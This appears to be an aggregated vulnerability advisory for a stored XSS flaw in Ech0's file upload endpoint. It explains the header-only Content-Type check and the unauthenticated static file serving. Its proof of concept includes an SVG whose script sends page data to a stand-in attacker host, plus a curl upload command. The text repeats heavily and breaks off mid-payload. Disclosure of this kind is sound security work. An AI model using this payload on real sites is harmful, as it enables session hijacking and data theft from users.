CVE-2026-79670

Ech0 before 4.4.3 contains a stored cross-site scripting vulnerability in the file upload endpoint that validates Content-Type using only client-supplied headers without server-side inspection. Attackers with admin privileges can upload SVG or HTML files containing JavaScript that executes in the application origin when accessed by any user, enabling session hijacking and data exfiltration.

Ech0 before 4.4.3 contains a stored cross-site scripting vulnerability in the file upload endpoint that validates Content-Type using only client-supplied headers without server-side inspection. Attackers with admin privileges can upload SVG or HTML files containing JavaScript that executes in the application origin when accessed by any user, enabling session hijacking and data exfiltration.

Summary

The file upload endpoint validates Content-Type using only the client-supplied multipart header, with no server-side content inspection or file extension validation. Combined with an unauthenticated static file server that determines Content-Type from file extension, this allows an admin to upload HTML/SVG files containing JavaScript that execute in the application's origin when visited by any user. Additionally, image/svg+xml is in the default allowed types, enabling stored XSS via SVG without any Content-Type spoofing.

Details

The upload handler at internal/service/file/file.go:85-87 validates file type using only the multipart Content-Type header:

contentType := file.Header.Get("Content-Type") // client-controlled
if !isAllowedType(contentType, config.Config().Upload.AllowedTypes) {
    return commonModel.FileDto{}, errors.New(commonModel.FILE_TYPE_NOT_ALLOWED)
}

isAllowedType at file.go:836-843 performs exact string matching — no magic byte detection, no extension validation:

func isAllowedType(contentType string, allowedTypes []string) bool {
    for _, allowed := range allowedTypes {
        if contentType == allowed {
            return true
        }
    }
    return false
}

The original file extension is preserved in the storage key by RandomKeyGenerator at internal/storage/keygen.go:41:

ext := strings.ToLower(filepath.Ext(strings.TrimSpace(originalFilename)))

All locally stored files are served publicly without authentication at internal/router/modules.go:51:

ctx.Engine.Static("api/files", root)

This gin.Static call is registered directly on the engine, outside any authentication middleware group. Go's http.ServeFile (used internally by gin.Static) determines the response Content-Type using mime.TypeByExtension, so .html files are served as text/html and .svg files as image/svg+xml.

No X-Content-Type-Options: nosniff or Content-Security-Policy headers are set (verified in internal/router/middleware.go).

Variant 1 — SVG XSS (no spoofing needed): image/svg+xml is in the default AllowedTypes at internal/config/config.go:241. SVG files can contain <script> tags and event handlers. The VireFS schema routes .svg to images/ (internal/storage/schema.go:10). Uploaded SVGs are publicly accessible at /api/files/images/<key>.svg and JavaScript within them executes in the application's origin.

Variant 2 — Content-Type spoofing: Upload an .html file with a forged multipart Content-Type: image/jpeg. The allowlist check passes (image/jpeg is allowed). The .html extension is preserved. The VireFS schema routes unknown extensions to files/ (schema.go:14). The file is served at /api/files/files/<key>.html as text/html.

PoC

Variant 1 — SVG XSS (simplest, default config):

# 1. Create SVG with embedded JavaScript
cat > evil.svg << 'SVGEOF'
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100">
  <script>
    // Steal cookies and redirect to attacker
    fetch('/api/echo/page')
      .then(r => r.json())
      .then(d => {
        new Image().src = 'https://attacker.example.com/collect?data=' + btoa(JSON.stringify(d));
      });
  </script>
  <circle cx="50" cy="50" r="40" fill="red"/>
</svg>
SVGEOF

# 2. Upload as admin (image/svg+xml is default-allowed, no spoofing needed)
curl -X POST http://target:1024/api/files/upload \
  -H 'Authorization: Bearer <admin-jwt>' \
  -F '[email protected];type=image/svg+xml' \
  -F 'category=image' \
  -F 'storage_type=local'

# Response includes the storage key, e.g.: images/<uid>_<ts>_<rand>.svg
# 3. Access without authentication — JavaScript executes in application origin:
# GET http://target:1024/api/files/images/<uid>_<ts>_<rand>.svg

Variant 2 — Content-Type bypass with HTML:

# 1. Create HTML with JavaScript
cat > evil.html << 'HTMLEOF'
<html><body>
<script>
  document.write('<h1>XSS in ' +…

Ech0 before 4.4.3 contains a stored cross-site scripting vulnerability in the file upload endpoint that validates Content-Type using only client-supplied headers without server-side inspection. Attackers with admin privileges can upload SVG or HTML files containing JavaScript that executes in the application origin when accessed by any user, enabling session hijacking and data exfiltration.

Ech0 before 4.4.3 contains a stored cross-site scripting vulnerability in the file upload endpoint that validates Content-Type using only client-supplied headers without server-side inspection. Attackers with admin privileges can upload SVG or HTML files containing JavaScript that executes in the application origin when accessed by any user, enabling session hijacking and data exfiltration.

Ech0 before 4.4.3 contains a stored cross-site scripting vulnerability in the file upload endpoint that validates Content-Type using only client-supplied headers without server-side inspection. Attackers with admin privileges can upload SVG or HTML files containing JavaScript that executes in the application origin when accessed by any user, enabling session hijacking and data exfiltration.

Summary

The file upload endpoint validates Content-Type using only the client-supplied multipart header, with no server-side content inspection or file extension validation. Combined with an unauthenticated static file server that determines Content-Type from file extension, this allows an admin to upload HTML/SVG files containing JavaScript that execute in the application's origin when visited by any user. Additionally, image/svg+xml is in the default allowed types, enabling stored XSS via SVG without any Content-Type spoofing.

Details

The upload handler at internal/service/file/file.go:85-87 validates file type using only the multipart Content-Type header:

contentType := file.Header.Get("Content-Type") // client-controlled
if !isAllowedType(contentType, config.Config().Upload.AllowedTypes) {
    return commonModel.FileDto{}, errors.New(commonModel.FILE_TYPE_NOT_ALLOWED)
}

isAllowedType at file.go:836-843 performs exact string matching — no magic byte detection, no extension validation:

func isAllowedType(contentType string, allowedTypes []string) bool {
    for _, allowed := range allowedTypes {
        if contentType == allowed {
            return true
        }
    }
    return false
}

The original file extension is preserved in the storage key by RandomKeyGenerator at internal/storage/keygen.go:41:

ext := strings.ToLower(filepath.Ext(strings.TrimSpace(originalFilename)))

All locally stored files are served publicly without authentication at internal/router/modules.go:51:

ctx.Engine.Static("api/files", root)

This gin.Static call is registered directly on the engine, outside any authentication middleware group. Go's http.ServeFile (used internally by gin.Static) determines the response Content-Type using mime.TypeByExtension, so .html files are served as text/html and .svg files as image/svg+xml.

No X-Content-Type-Options: nosniff or Content-Security-Policy headers are set (verified in internal/router/middleware.go).

Variant 1 — SVG XSS (no spoofing needed): image/svg+xml is in the default AllowedTypes at internal/config/config.go:241. SVG files can contain <script> tags and event handlers. The VireFS schema routes .svg to images/ (internal/storage/schema.go:10). Uploaded SVGs are publicly accessible at /api/files/images/<key>.svg and JavaScript within them executes in the application's origin.

Variant 2 — Content-Type spoofing: Upload an .html file with a forged multipart Content-Type: image/jpeg. The allowlist check passes (image/jpeg is allowed). The .html extension is preserved. The VireFS schema routes unknown extensions to files/ (schema.go:14). The file is served at /api/files/files/<key>.html as text/html.

PoC

Variant 1 — SVG XSS (simplest, default config):

# 1. Create SVG with embedded JavaScript
cat > evil.svg << 'SVGEOF'
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100">
  <script>
    // Steal cookies and redirect to attacker
    fetch('/api/echo/page')
      .then(r => r.json())
      .then(d => {
        new Image().src = 'https://attacker.example.com/collect?data=' + btoa(JSON.stringify(d));
      });
  </script>
  <circle cx="50" cy="50" r="40" fill="red"/>
</svg>
SVGEOF

# 2. Upload as admin (image/svg+xml is default-allowed, no spoofing needed)
curl -X POST http://target:1024/api/files/upload \
  -H 'Authorization: Bearer <admin-jwt>' \
  -F '[email protected];type=image/svg+xml' \
  -F 'category=image' \
  -F 'storage_type=local'

# Response includes the storage key, e.g.: images/<uid>_<ts>_<rand>.svg
# 3. Access without authentication — JavaScript executes in application origin:
# GET http://target:1024/api/files/images/<uid>_<ts>_<rand>.svg

Variant 2 — Content-Type bypass with HTML:

# 1. Create HTML with JavaScript
cat > evil.html << 'HTMLEOF'
<html><body>
<script>
  document.write('<h1>XSS in ' +…

Ech0 has Stored XSS via SVG Upload and Content-Type Validation Bypass in File Upload in github.com/lin-snow/ech0.

NOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions.

(If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.)

The additional affected modules and versions are: github.com/lin-snow/ech0 before v4.4.3.